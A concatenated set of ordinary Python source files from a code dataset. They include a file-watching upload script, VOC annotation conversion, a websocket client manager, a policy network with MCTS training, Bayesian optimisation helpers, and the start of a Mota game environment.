\"Mass Declines have been updated. \\n\" + file)\n \n if live.archive:\n logging.info(\"Archiving file: \" + file )\n move(drop_folder + file, archive_folder + file)\n if live.dl:\n #Move error files to status folder:\n err = \"c:/Scripting/to_SF/cso_mass_decline/bin/mass_dec_errors.csv\"\n suc = \"c:/Scripting/to_SF/cso_mass_decline/bin/mass_dec_successes.csv\"\n dst = working_folder + \"/status/\"\n try:\n move(err, dst + file[:-4] + \"_errors.csv\")\n move(suc, dst + file[:-4] + \"_successes.csv\")\n except:\n logging.error(\"error moving mass decline error/success files\")\n \n if live.emails:\n #Put filename into files_processed.txt file for tracking\n logging.info(\"Writing to files_processed.txt log\")\n with open(working_folder + \"bin/files_processed.txt\", 'a') as open_file:\n lt = datetime.now().strftime(\"%Y-%m-%d %H:%M\")\n open_file.write(lt + \" \" + file.format() + \"\\n\")\n \n \n#END Mass Declines ####################################################\n\ndef main():\n before = []\n \n while 1:\n #Read in list of files in directory. \n after = dict([(f, None) for f in os.listdir(drop_folder) if os.path.isfile(os.path.join(drop_folder, f))])\n added = [f for f in after if not f in before]\n removed = [f for f in before if not f in after]\n \n if added:\n logging.debug(\"Files Added! \" + str(added))\n \n for file in added:\n \n #Call appropriate function according to name of file\n if \"cso_upload\" in file.lower() and live.cso:\n logging.debug(\"*******************************************\")\n logging.debug(\"Running cso_upload function with \" + file)\n cso_upload(file)\n logging.debug(\"*******************************************\")\n \n elif \"call_log_upload\" in file.lower() and live.call_log:\n logging.debug(\"*******************************************\")\n logging.debug(\"Running call_log function with \" + file)\n call_log(file)\n logging.debug(\"*******************************************\")\n \n elif \"massdeclines\" in file.lower() and live.mass_declines:\n logging.debug(\"*******************************************\")\n logging.debug(\"Running mass_declines with \" + file)\n mass_declines(file)\n logging.debug(\"*******************************************\")\n \n logging.info(\"Re-entering loop\")\n \n if removed:\n logging.info(\"Removed: \" + \", \".join (removed))\n \n before = after\n \nmain()\n\n\n\n \n \n \n\n\n","sub_path":"to_SF/cso_mass_decline/bin/cso_mass_decline.py","file_name":"cso_mass_decline.py","file_ext":"py","file_size_in_byte":16199,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"265382100","text":"import xml.etree.ElementTree as ET\nfrom os import getcwd\nimport os\nimport glob\n\nsets=[('obj_train'), ('obj_val'), ('no_obj_train'), ('no_obj_val')]\n\nclasses = [\"obj\", \"no_obj\"]\n\n\ndef convert_annotation(image_id):\n in_file = open('%s.xml'%(image_id).replace('JPEGImages', 'Annotations'))\n tree=ET.parse(in_file)\n root = tree.getroot()\n\n for obj in root.iter('object'):\n difficult = obj.find('difficult').text\n cls = obj.find('name').text\n if cls not in classes or int(difficult)==1:\n continue\n cls_id = classes.index(cls)\n xmlbox = obj.find('bndbox')\n b = (int(xmlbox.find('xmin').text), int(xmlbox.find('ymin').text), int(xmlbox.find('xmax').text), int(xmlbox.find('ymax').text))\n # list_file.write(\" \" + \",\".join([str(a) for a in b]) + ',' + str(cls_id))\n return \" \" + \",\".join([str(a) for a in b]) + ',' + str(cls_id)\n\nwd = getcwd()\n\nimage_ids = glob.glob('voc' + os.sep + 'JPEGImages' + os.sep + '*.*')\nimage_id_paths = [(image_id + \\\n ' ' + convert_annotation(image_id.split('.')[0]) + '\\n') for image_id in image_ids]\nwith open('voc/list_master.txt', 'w') as list_file:\n list_file.write(''.join(list(image_id_paths)))\n\n\n","sub_path":"voc_annotation.py","file_name":"voc_annotation.py","file_ext":"py","file_size_in_byte":1214,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"228111880","text":"import asyncio\nimport logging\nimport socket\n\nimport websockets\nfrom websockets.exceptions import (ConnectionClosedError,\n ConnectionClosedOK,\n )\n\n\nlogger = logging.getLogger('websocket')\n\n\ndef websocket_server_wrap(name):\n def decorator(func):\n async def wrapper(websocket, path):\n client_address = websocket.remote_address\n client_name = f'{name}@{client_address[0]}:{client_address[1]}'\n logger.info(f\"{client_name} --- connected.\")\n try:\n await func(websocket, path, client_name)\n logger.info(f\"{client_name} --- connection closed.\")\n except ConnectionClosedError:\n logger.warning(f'{client_name} closes unexpectedly')\n await websocket.close()\n except ConnectionClosedOK:\n logger.info(f\"{client_name} --- connection closed.\")\n return wrapper\n return decorator\n\n\nclass WebsocketClient:\n\n def __init__(self, url, name):\n self.name = name\n self.url = url\n self.websocket_client = None\n self.connected = False\n self.server_name = f'{name}@{url}'\n\n async def connect(self):\n logger.info(f'Connecting to {self.name}...')\n attempt = 0\n while True:\n attempt += 1\n logger.debug(f'trial #{attempt} of connecting to {self.name}')\n try:\n self.websocket_client = await websockets.connect(self.url)\n logger.info(f'Connected to {self.name}!')\n self.connected = True\n return True\n except ConnectionRefusedError:\n logger.error(f'Falied to connect to {self.name}'\n f' @ {self.url}. Retrying...')\n except socket.gaierror:\n logger.error(f'Could not find hostname for {self.name} at'\n f' {self.url}. {self.name} could be down'\n f' now. Retrying...')\n if attempt % 3 == 0:\n logger.critical(f'connection attempt to {self.name} @'\n f' {self.url} has failed too many attempts'\n f' ({attempt} times).')\n self.connected = False\n await asyncio.sleep(3)\n\n async def check_alive(self):\n try:\n await self.websocket_client.ping()\n self.connected = True\n return True\n except ConnectionClosedError:\n logger.error(f'Connection to {self.name} @ {self.url}'\n f' was closed. {self.name} could be down now.')\n self.connected = False\n return False\n\n async def check_and_connect(self):\n if self.websocket_client is not None:\n if await self.check_alive():\n return True\n return await self.connect()\n\n async def close(self):\n logger.info(f'Closing websocket {self.name}')\n if self.websocket_client is not None:\n await self.websocket_client.close()\n\n async def send_message(self, message):\n if self.websocket_client is None:\n raise ConnectionRefusedError\n try:\n logger.debug(f'{self.server_name} >>> {message}')\n await asyncio.wait_for(\n self.websocket_client.send(message),\n timeout=2\n )\n response = await self.websocket_client.recv()\n logger.debug(f'{self.server_name} <<< {response}')\n return response\n except asyncio.TimeoutError:\n logger.error(f'timeout error. {self.url} is wrong'\n f' or the server could not response in time')\n self.connected = False\n raise ConnectionRefusedError\n except ConnectionRefusedError:\n logger.error(f'connection refused or couldn not find {self.url}')\n self.connected = False\n raise ConnectionRefusedError\n except websockets.exceptions.ConnectionClosed:\n logger.error(f'connection to {self.name} was closed.')\n self.connected = False\n asyncio.ensure_future(self.connect())\n raise ConnectionRefusedError\n\n\nclass WebsocketManager:\n\n def __init__(self):\n self.clients = {}\n\n def get_client(self, name):\n try:\n return self.clients[name]\n except KeyError as key_error:\n logger.error(f'No websocket client name {name} found')\n raise key_error\n\n def add_client(self, name, url):\n self.clients[name] = WebsocketClient(url, name)\n\n async def send_message(self, name, message):\n return await self.clients[name].send_message(message)\n\n async def health_check(self):\n while True:\n futures = [\n asyncio.ensure_future(client.check_and_connect())\n for client in self.clients.values()\n ]\n for future in futures:\n await future\n await asyncio.sleep(5)\n\n async def connect_all_clients(self):\n futures = [\n asyncio.ensure_future(client.connect())\n for client in self.clients.values()\n ]\n for future in futures:\n await future\n\n async def close_all_clients(self):\n close_coros = [client.close() for client in self.clients.values()]\n await asyncio.gather(*close_coros)\n\n\nwebsocket_manager = WebsocketManager()\n","sub_path":"websocket.py","file_name":"websocket.py","file_ext":"py","file_size_in_byte":5532,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"558787407","text":"import csv\nimport itertools\n\n\ndef render_cell(item, link=None):\n if item == \"\":\n item = \"?\"\n if item == \"?\":\n return '<td class=\"unknown\">?</td>'\n try:\n parsed_content = \"{:,d}\".format(int(item))\n except ValueError:\n parsed_content = item\n\n if link is not None:\n parsed_content = '<a href=\"{link}\">{content}</a>'.format(\n content=parsed_content, link=link\n )\n return \"<td>{}</td>\".format(parsed_content)\n\n\nlinks = {\n (\"4x4\", \"4\"): \"/metagraph/\",\n (\"5x5\", \"5\"): \"/metagraph/5x5.html\",\n (\"7x7\", \"7\"): \"/metagraph/7x7.html\",\n}\n\n\ndef get_row_label(grid, parts):\n content = \"{grid} → {parts}\".format(grid=grid, parts=parts)\n return \"<th>{}</th>\".format(content)\n\n\ndef render_row(row, links=links):\n grid, parts = str(row[0]), str(row[1])\n row_label = get_row_label(grid, parts)\n row_cells = [render_cell(item) for item in row[2:]]\n\n if (grid, parts) in links:\n row_cells[0] = render_cell(row[2], link=links[(grid, parts)])\n\n return \"<tr>\" + row_label + \"\".join(row_cells) + \"</tr>\"\n\n\ndef thead():\n return \"\"\"\n <colgroup class=\"row-labels\"></colgroup>\n <colgroup class=\"rook\" span=\"5\"></colgroup>\n <colgroup class=\"queen\" span=\"5\">\n </colgroup>\n <thead>\n <tr>\n <th></th>\n <th colspan=\"5\" scope=\"colgroup\" class=\"rook-heading\">Rook</th>\n <th colspan=\"5\" scope=\"colgroup\" class=\"queen-heading\">Queen</th>\n </tr>\n <tr>\n <th></th>\n\n <th class=\"rook-label\">equal size</th>\n <th class=\"rook-label\">± 1</th>\n <th class=\"rook-label\">± 2</th>\n <th class=\"rook-label\">± 3</th>\n <th class=\"rook-label\">all, non-∅</th>\n\n <th class=\"queen-label\">equal size</th>\n <th class=\"queen-label\">± 1</th>\n <th class=\"queen-label\">± 2</th>\n <th class=\"queen-label\">± 3</th>\n <th class=\"queen-label\">all, non-∅</th>\n </tr>\n </thead>\"\"\"\n\n\ndef tbody(rows):\n return \"<tbody>\\n\" + \"\\n\".join(render_row(row) for row in rows) + \"\\n</tbody>\"\n\n\ndef table(rows):\n row_sets = [\n list(group) for key, group in itertools.groupby(rows, lambda row: row[0])\n ]\n return (\n \"<table>\\n\"\n + thead()\n + \"\\n\"\n + \"\\n\".join(tbody(row_set) for row_set in row_sets)\n + \"\\n</table>\"\n )\n\n\ndef render_template(template_stream, *args, **template_fields):\n document = \"\".join(template_stream)\n for key, value in template_fields.items():\n document = document.replace(\"{{\" + key + \"}}\", value)\n return document\n\n\ndef build_template(\n data_path=\"../_data/table.csv\", output_path=\"../_includes/metagraph-table.html\"\n):\n with open(data_path) as f:\n next(f)\n rows = csv.reader(f)\n table_html = table(rows)\n\n with open(output_path, \"w\") as f:\n f.write(\n \"\"\"\n<style>\n{% include table.css %}\n</style>\n\n<div class=\"table-container\">\n\"\"\"\n )\n f.write(table_html)\n f.write(\"\\n</div>\")\n\n\ndef main():\n build_template()\n\n\nif __name__ == \"__main__\":\n main()\n","sub_path":"src/build.py","file_name":"build.py","file_ext":"py","file_size_in_byte":3135,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"216390401","text":"import numpy as np\nimport torch.nn as nn\nimport torch.nn.functional as F\nfrom copy import copy\nimport random\nimport torch\nimport MCTS\nfrom ConnectN import ConnectN\n\n\nclass Policy(nn.Module):\n def __init__(self):\n super(Policy, self).__init__()\n\n # solution\n self.conv = nn.Conv2d(1, 16, kernel_size=2, stride=1, bias=False)\n self.size = 2 * 2 * 16\n self.fc = nn.Linear(self.size, 32)\n\n # layers for the policy\n self.fc_action1 = nn.Linear(32, 16)\n self.fc_action2 = nn.Linear(16, 9)\n\n # layers for the critic\n self.fc_value1 = nn.Linear(32, 8)\n self.fc_value2 = nn.Linear(8, 1)\n self.tanh_value = nn.Tanh()\n\n def forward(self, x):\n # solution\n y = F.relu(self.conv(x))\n y = y.view(-1, self.size)\n y = F.relu(self.fc(y))\n\n # the action head\n a = F.relu(self.fc_action1(y))\n a = self.fc_action2(a)\n # availability of moves\n avail = (torch.abs(x.squeeze()) != 1).type(torch.FloatTensor)\n avail = avail.reshape(1, 9)\n\n # locations where actions are not possible, we set the prob to zero\n maxa = torch.max(a)\n # subtract off max for numerical stability (avoids blowing up at infinity)\n exp = avail * torch.exp(a - maxa)\n prob = exp / torch.sum(exp)\n\n # the value head\n value = F.relu(self.fc_value1(y))\n value = self.tanh_value(self.fc_value2(value))\n return prob.view(3, 3), value\n\n\ndef Policy_Player_MCTS(game, policy):\n mytree = MCTS.Node(copy(game))\n for _ in range(50):\n mytree.explore(policy)\n\n mytreenext, (v, nn_v, p, nn_p) = mytree.next(temperature=0.1)\n\n return mytreenext.game.last_move\n\n\ndef Random_Player(game):\n return random.choice(game.available_moves())\n\n\ndef train_policy(game_setting, policy, optimizer):\n import progressbar as pb\n\n # Train the policy\n episodes = 400\n outcomes = []\n losses = []\n\n widget = ['training loop: ', pb.Percentage(), ' ', pb.Bar(), ' ', pb.ETA()]\n timer = pb.ProgressBar(widgets=widget, maxval=episodes).start()\n\n for e in range(episodes):\n mytree = MCTS.Node(ConnectN(**game_setting))\n vterm = []\n logterm = []\n\n while mytree.outcome is None:\n for _ in range(50):\n mytree.explore(policy)\n\n current_player = mytree.game.player\n mytree, (v, nn_v, p, nn_p) = mytree.next()\n mytree.detach_mother()\n\n # solution\n # compute prob* log pi\n loglist = torch.log(nn_p) * p\n\n # constant term to make sure if policy result = MCTS result, loss = 0\n constant = torch.where(p > 0, p * torch.log(p), torch.tensor(0.))\n logterm.append(-torch.sum(loglist - constant))\n\n vterm.append(nn_v * current_player)\n\n # we compute the \"policy_loss\" for computing gradient\n outcome = mytree.outcome\n outcomes.append(outcome)\n\n loss = torch.sum((torch.stack(vterm) - outcome) ** 2 + torch.stack(logterm))\n optimizer.zero_grad()\n loss.backward()\n losses.append(float(loss))\n optimizer.step()\n\n if (e + 1) % 50 == 0:\n print(\"\\r game: \", e + 1, \", mean loss: {:3.2f}\".format(np.mean(losses[-20:])),\n \", recent outcomes: \", outcomes[-10:], end='')\n if (e + 1) % 100 == 0: print()\n del loss\n\n timer.update(e + 1)\n\n timer.finish()","sub_path":"Policy.py","file_name":"Policy.py","file_ext":"py","file_size_in_byte":3483,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"508368083","text":"from django.utils.decorators import method_decorator\nfrom django_elasticsearch_dsl_drf.filter_backends import OrderingFilterBackend, DefaultOrderingFilterBackend, \\\n CompoundSearchFilterBackend\nfrom django_elasticsearch_dsl_drf.viewsets import BaseDocumentViewSet\nfrom drf_yasg import openapi\nfrom drf_yasg.utils import swagger_auto_schema\nfrom rest_framework.status import HTTP_200_OK, HTTP_404_NOT_FOUND\n\nfrom bookstore.books.documents import BookDocument\nfrom bookstore.books.schemas import (\n schema_book_list_response,\n schema_book_details_path,\n schema_book_details_response,\n)\nfrom bookstore.books.serializers import BookListSerializer, BookDetailsSerializer\nfrom bookstore.common.pagination import LimitOffsetPagination\nfrom bookstore.common.schemas import schema_error\n\n\nclass BookPagination(LimitOffsetPagination):\n max_limit = 50\n\n\n@method_decorator(\n name=\"list\",\n decorator=swagger_auto_schema(\n operation_id=\"book:list\",\n operation_summary=\"List books (pageable)\",\n operation_description=\"Allows to retrieve a list of books.\",\n responses={\n HTTP_200_OK: openapi.Response(\n description=\"Request finished successfully.\",\n schema=schema_book_list_response,\n ),\n },\n security=[],\n tags=[\"books\"],\n )\n)\n@method_decorator(\n name=\"retrieve\",\n decorator=swagger_auto_schema(\n manual_parameters=schema_book_details_path,\n operation_id=\"book:details\",\n operation_summary=\"Book details\",\n operation_description=\"Allows to retrieve a details on given book.\",\n responses={\n HTTP_200_OK: openapi.Response(\n description=\"Request finished successfully.\",\n schema=schema_book_details_response,\n ),\n HTTP_404_NOT_FOUND: openapi.Response(\n description=\"Book with given `id` not found.\",\n schema=schema_error(\"not_found\"),\n ),\n },\n security=[],\n tags=[\"books\"],\n )\n)\nclass BookViewSet(BaseDocumentViewSet):\n \"\"\"A view set that provides CRUD methods configuration\n for book document.\"\"\"\n\n # Associates view set with book document.\n document = BookDocument\n\n # Defines what sort of filtering options are available.\n filter_backends = [\n OrderingFilterBackend,\n DefaultOrderingFilterBackend,\n CompoundSearchFilterBackend\n ]\n\n # Defines a single document lookup field.\n lookup_field = \"id\"\n\n # Defines which fields will be searched against.\n multi_match_search_fields = (\n \"title\", \"author_indexing\", \"publisher_indexing\", \"isbn\", \"ean\", \"description\")\n\n # Defines item ordering.\n ordering = (\"id\", \"title\", \"author_indexing\", \"publisher_indexing\")\n ordering_fields = {\n \"id\": \"id\",\n \"title\": \"title.raw\",\n \"author\": \"author_indexing.raw\",\n \"publisher\": \"publisher_indexing.raw\"\n }\n\n # Defines which fields will be searched against.\n search_fields = (\n \"title\", \"author_indexing\", \"publisher_indexing\", \"isbn\", \"ean\", \"description\")\n\n # Configures pagination.\n pagination_class = BookPagination\n\n # Configures serialization.\n serializers = {\n \"list\": BookListSerializer,\n \"retrieve\": BookDetailsSerializer\n }\n\n def get_serializer_class(self):\n return self.serializers[self.action]\n","sub_path":"bookstore/books/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":3418,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"456413771","text":"import math\nimport torch\nimport numpy as np\n\nfrom botorch.acquisition.knowledge_gradient import qKnowledgeGradient\nfrom botorch.acquisition.monte_carlo import qExpectedImprovement, qSimpleRegret\nfrom botorch.acquisition.objective import GenericMCObjective\nfrom botorch.exceptions.warnings import BadInitialCandidatesWarning\nfrom botorch.fit import fit_gpytorch_model\nfrom botorch.models import FixedNoiseGP, HigherOrderGP\nfrom botorch.models.higher_order_gp import FlattenedStandardize\nfrom botorch.models.transforms.input import Normalize\nfrom botorch.models.transforms.outcome import Standardize\nfrom botorch.optim import optimize_acqf\nfrom botorch.optim.fit import fit_gpytorch_torch\nfrom botorch.sampling import IIDNormalSampler\nfrom botorch.utils.transforms import normalize\nfrom botorch.utils.sampling import draw_sobol_samples\n\n# from botorch_fb.models.fidelity.fidelity_utils import warmstart_initialization\nfrom gpytorch import settings as gpt_settings\nfrom gpytorch.mlls import ExactMarginalLogLikelihood\n\nZEROISH = 1e-7\n\n\ndef fit_model(train_X, train_Y):\n if train_X.ndim != train_Y.ndim:\n train_Y = train_Y.reshape(train_Y.shape[0], np.prod(train_Y.shape[1:]))\n\n model = FixedNoiseGP(\n train_X,\n train_Y,\n torch.full_like(train_Y, ZEROISH),\n # input_transform=Normalize(train_X.shape[-1]),\n outcome_transform=Standardize(train_Y.shape[-1]),\n )\n mll = ExactMarginalLogLikelihood(model.likelihood, model)\n fit_gpytorch_model(mll)\n return model\n\n\ndef fit_hogp_model(train_X, train_Y, latent_init=\"default\", fixed_noise=True):\n model = HigherOrderGP(\n train_X,\n train_Y,\n outcome_transform=FlattenedStandardize(train_Y.shape[1:]),\n latent_init=latent_init,\n )\n if fixed_noise:\n model.likelihood.noise = ZEROISH\n model.likelihood.raw_noise.detach_()\n\n mll = ExactMarginalLogLikelihood(model.likelihood, model)\n # init the likelihood to be similar to ZEROISH\n # model.likelihood.noise = 1e-3\n if np.prod(train_Y.shape[1:]) > 500:\n print(\"Large number of output dims, using torch\")\n fit_gpytorch_torch(mll, options={\"lr\": 0.01, \"maxiter\": 3000})\n else:\n fit_gpytorch_model(mll)\n return model\n\n\ndef gen_rand_points(bounds, num_samples):\n points_nlzd = torch.rand(num_samples, bounds.shape[-1]).to(bounds)\n return bounds[0] + (bounds[1] - bounds[0]) * points_nlzd\n\n\ndef get_suggested_point(\n model, bounds, objective, return_best_only=True, num_samples=32, fixed_features=None,\n):\n bounds_nlzd = (bounds - bounds[0]) / (bounds[1] - bounds[0])\n sampler = IIDNormalSampler(num_samples=num_samples)\n\n acqf = qSimpleRegret(model, objective=objective, sampler=sampler)\n\n batch_initial_conditions = draw_sobol_samples(bounds=bounds, q=1, n=1)\n\n try:\n with gpt_settings.fast_computations(covar_root_decomposition=False):\n sugg_cand_nlzd, _ = optimize_acqf(\n acqf,\n bounds_nlzd,\n q=1,\n num_restarts=1,\n raw_samples=num_samples,\n return_best_only=return_best_only,\n batch_initial_conditions=batch_initial_conditions,\n fixed_features=fixed_features,\n )\n if return_best_only:\n sugg_cand_nlzd = sugg_cand_nlzd[0]\n return bounds[0] + (bounds[1] - bounds[0]) * sugg_cand_nlzd\n except RuntimeError:\n # if e.message == \"probability tensor contains either `inf`, `nan` or element < 0\":\n print(\"Warning: optimization failed\")\n try:\n X = model.train_inputs[0]\n post_samples = sampler(model.posterior(X))\n if objective is not None:\n obj_values = objective(post_samples)\n else:\n obj_values = post_samples\n best_obj = obj_values.max(dim=(0))[0].argmax()\n\n if return_best_only:\n sugg_cand_nlzd = X[best_obj]\n return bounds[0] + (bounds[1] - bounds[0]) * sugg_cand_nlzd\n except RuntimeError:\n return bounds[0] + (bounds[1] - bounds[0]) * X[0]\n\n\ndef optimize_ei(qEI, bounds, **options):\n bounds_nlzd = (bounds - bounds[0]) / (bounds[1] - bounds[0])\n\n batch_initial_conditions = draw_sobol_samples(\n bounds=bounds,\n q=options[\"q\"],\n n=options[\"num_restarts\"] * options[\"options\"][\"batch_limit\"],\n )\n\n try:\n with gpt_settings.fast_computations(covar_root_decomposition=False):\n cands_nlzd, _ = optimize_acqf(\n qEI,\n bounds_nlzd,\n batch_initial_conditions=batch_initial_conditions,\n **options\n )\n return bounds[0] + (bounds[1] - bounds[0]) * cands_nlzd\n except:\n print(\"--- Warning BO Loop failed; trying a random point instead ---\")\n rand_cand = torch.rand(\n options[\"q\"],\n qEI.model.train_inputs[0].shape[-1],\n device=bounds.device,\n dtype=bounds.dtype,\n )\n return bounds[0] + (bounds[1] - bounds[0]) * rand_cand\n\n\ndef optimize_kg(qKG, bounds, current_soln=None, **options):\n bounds_nlzd = (bounds - bounds[0]) / (bounds[1] - bounds[0])\n batch_initial_conditions = warmstart_initialization(\n acq_function=qKG,\n bounds=bounds_nlzd,\n q=options[\"q\"],\n num_restarts=options.get(\"num_restarts\"),\n raw_samples=options.get(\"raw_samples\"),\n current_soln=current_soln,\n partial_restarts=options.get(\"partial_restarts\"),\n )\n with gpt_settings.fast_pred_var(), gpt_settings.fast_computations(\n covar_root_decomposition=False, log_prob=False, solves=False\n ), gpt_settings.max_cholesky_size(1000):\n cands_nlzd, _ = optimize_acqf(\n acq_function=qKG,\n bounds=bounds_nlzd,\n q=options[\"q\"],\n num_restarts=options.get(\"num_restarts\"),\n raw_samples=options.get(\"raw_samples\"),\n options=options.get(\"options\", {}),\n batch_initial_conditions=batch_initial_conditions,\n )\n cands_nlzd = qKG.extract_candidates(cands_nlzd.detach().unsqueeze(0))\n return bounds[0] + (bounds[1] - bounds[0]) * cands_nlzd[0]\n","sub_path":"hogp_experiments/utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":6243,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"73488017","text":"# Definition for a binary tree node.\n# class TreeNode(object):\n# def __init__(self, x):\n# self.val = x\n# self.left = None\n# self.right = None\n\nclass Solution(object):\n def kthSmallest(self, root, k):\n \"\"\"\n :type root: TreeNode\n :type k: int\n :rtype: int\n \"\"\"\n stack = []\n ans = self.findSmallest(root, stack)\n while k > 1:\n ans = self.findNextSmallest(ans, stack)\n k -= 1\n return ans.val\n\n def findSmallest(self, root, stack):\n node = root\n while node.left is not None:\n stack.append(node)\n node = node.left\n return node\n\n def findNextSmallest(self, node, stack):\n if node.right is not None:\n tmp = node.right\n return self.findSmallest(tmp, stack)\n return stack.pop()\n ","sub_path":"online_judge/leetcode_py/230. Kth Smallest Element in a BST.py","file_name":"230. Kth Smallest Element in a BST.py","file_ext":"py","file_size_in_byte":873,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"236129662","text":"#!/usr/bin/env python3\nimport matplotlib.pyplot as plt\nimport pandas as pd\nimport numpy as np\n\n#Open and read the csv file containing transaction data\n#and store the data into a variable called 'fin_data'\nfin_data = pd.read_csv('285866_spend_20200430.csv')\n\n#These next two lines create two lists, the first being\n#every purchase from the pandas dataframe variable 'fin_data',\n#more specifically the \"Amount\" column\npurchases = fin_data['Amount'].tolist()\nbalance = [5.61]\n\n#This for loop takes every purchase and generates the balance \n#at the time of the transaction by subtracting the balance \n#by the purchase amount. We have to subtract because the purchase\n#amount is given as a negative, so two negatives create a positive\n#thereby giving the balance by adding the purchase back into the balance\nfor i in range(len(purchases)-1):\n\tbalance.append(round(balance[i] - purchases[i], 2))\n\n#Here I take the dataframe 'fin_data' and add the 'Balance'\n#column to the dataframe. I then reverse the order of the dataframe\n#and store it in a variable called 'fin_data_reversed' which I then\n#write to a csv file.\nfin_data['Balance'] = balance\nfin_data_reversed = fin_data.iloc[::-1]\nfin_data_reversed.to_csv('Aspiration_Finance_Data_Reversed.csv')\n\n#I commented these out because they weren't necessary anymore, test prints\n# print(fin_data_reversed.head())\n# print(fin_data_reversed.tail())\n\n\n#And finally to plotting out the data with the values in order now ascending by date.\n#These two first lines create the x and y values and then the next three lines\n#plot and label the data. The last line actually displays the plot\nx = fin_data_reversed.Date\ny = fin_data_reversed.Balance\n\nplt.scatter(x,y)\nplt.ylabel('Balance')\nplt.show\nplt.savefig('Balance.png')","sub_path":"finance.py","file_name":"finance.py","file_ext":"py","file_size_in_byte":1754,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"634808855","text":"import torch.nn as nn\nimport torch.nn.functional as F\nfrom encoder_block_lib.depthwise_separable_cnn import DepthwiseSeparableCnn\nfrom encoder_block_lib.cnn_block import CNNBlock\nfrom helper_functions import LayerDropout\n\nclass RepeatedCnnBlock(nn.Module):\n def __init__(self, num_conv_blocks, d_model, kernel_size, input_shape, depthwise, norm, layer_dropout, total_layers):\n super(RepeatedCnnBlock, self).__init__()\n self.cnn_block_list = nn.ModuleList()\n #self.cnn_block_dropout_list = nn.ModuleList()\n # input to each conv layer must have the same shape so padding must be added to make sure input shape = output shape\n padding = self.__calc_padding(input_shape, kernel_size)\n for i in range(num_conv_blocks):\n self.cnn_block_list.append(CNNBlock(d_model=d_model, kernel_size=kernel_size, padding=padding, depthwise=depthwise, norm=norm))\n #self.cnn_block_dropout_list.append(LayerDropout(total_layers=total_layers, layer_dropout=layer_dropout))\n\n def forward(self, x):\n #print('cnn block forward x.size', x.shape)\n for i, cnn_block in enumerate(self.cnn_block_list):\n x = cnn_block(x)\n #x = self.cnn_block_dropout_list[i](x)\n return x\n\n def __calc_padding(self, input_shape, kernel_size, stride=1):\n \"\"\"\n we want to calculate the padding such that y.shape = x.shape for y = layer(x)\n output_height = input_height + 2*padding_height - kernel_height +1 (assuming stride=1)\n output_width = input_width + 2*padding_width - kernel_width + 1 (assuming stride=1)\n we want output_height = input_height and output_width = input_width. Therefore...\n padding_height = (kernel_height - 1)/2\n padding_width = (kernel_width - 1)/2\n \"\"\"\n # default of pytorch for input_size = (C_in, H_in, W_in)\n if len(input_shape) == 3:\n if stride != (1,1):\n raise ValueError(\"calc padding only works for stride=(1,1)\")\n padding = (0,0)\n if kernel_size[0]%2 == 0 or kernel_size[1]%2 == 0:\n raise ValueError(\"the kernel size: {} is incompatible with CnnHighway. With this kernel, the conv output shape will not equal the input shape\".format(kernel_size))\n padding_height = int((kernel_size[0] - 1)/2)\n padding_width = int((kernel_size[1] - 1)/2)\n return (padding_height, padding_width)\n if len(input_shape) == 2:\n if stride != 1:\n raise ValueError(\"calc padding only works for stride=(1)\")\n padding = int((kernel_size -1)/2)\n return padding","sub_path":"experiments/experiment_6/exp_6_files/encoder_block_lib/repeated_cnn_block.py","file_name":"repeated_cnn_block.py","file_ext":"py","file_size_in_byte":2651,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"202960835","text":"# -*- coding: utf-8 -*-\nfrom import_tool import *\n\nimport database as db\n\n\n\n#============================================================================\n# Player 玩家\n#----------------------------------------------------------------------------\n# 儲存玩家的狀態。\n#============================================================================\nclass Player():\n #------------------------------------------------------------------------\n # 設定初始狀態\n #------------------------------------------------------------------------\n def reset(self, skw: dict):\n self.lv = skw['lv'] # 等級\n self.maxhp = skw['maxhp'] # 最大生命\n self.hp = skw['hp'] # 生命\n self.atk = skw['atk'] # 攻擊力\n self.def_ = skw['def'] # 防禦力\n self.money = skw['money'] # 金幣\n self.exp = skw['exp'] # 經驗值\n self.items = skw['items'].copy() # 所持道具\n\n#============================================================================\n# Mota_Maze 魔塔迷宮 V1.21 by Hung1 2020.5.2\n#----------------------------------------------------------------------------\n# 模擬魔塔環境,當給予動作時做出回饋。\n# 基於Mota V1.1修改,將環境建立成迷宮。\n# self.observation = [z軸, y軸, x軸, 選項, 進入次數]\n# V1.0 2020.3.29\n# 初版\n# V1.1 2020.4.16\n# 添加self.features特徵值\n# 可在常數中設定各結局的獎勵值,而非默認為0\n# step增加s_回傳值,每次都會複製一個新的對象\n# reset回傳的對象改成複製一個新的對象回傳\n# V1.2 2020.4.18\n# 觀測值添加一維:進入次數\n# 若step回傳invalid的訊息,觀測值將保留於上一個狀態,並且可繼續訓練\n# 對其他無法繼續遊戲的狀態做限制,必須進行reset,讓使用者不會繼續輸入行動\n# step增加meaningless_actions_reward輸入參數,可以設定無意義行動的獎勵值,默認為0\n# 修正step縮排問題,並且稍微改變其程式內容\n# 刪除step和reset的return_state參數\n# V1.21 2020.5.2\n# step若不是continue,則self.observation包含回傳值一起彈回\n#============================================================================\nclass Mota_Maze_Player():\n '''\n 說明:\n 本迷宮版魔塔環境固定輸入5個行動指令(右、下、左、上、確定)\n 並且依照遊戲執行結果返回以下5種訊息其中一個:\n continue:遊戲還可以繼續輸入指令來進行下一步行動。\n death:在與怪物戰鬥中死亡。無法繼續遊戲。\n stop:在遊戲中進行事件卡關,比如NPC條件判斷、沒鑰匙開門、商店沒錢交易。無法繼續遊戲。\n clear:通關遊戲,進行成績結算。無法繼續遊戲。\n invalid:無效指令,比如撞牆、商店按左右鍵。\"可以\"繼續遊戲\n\n 有幾個地方需特別注意,\n 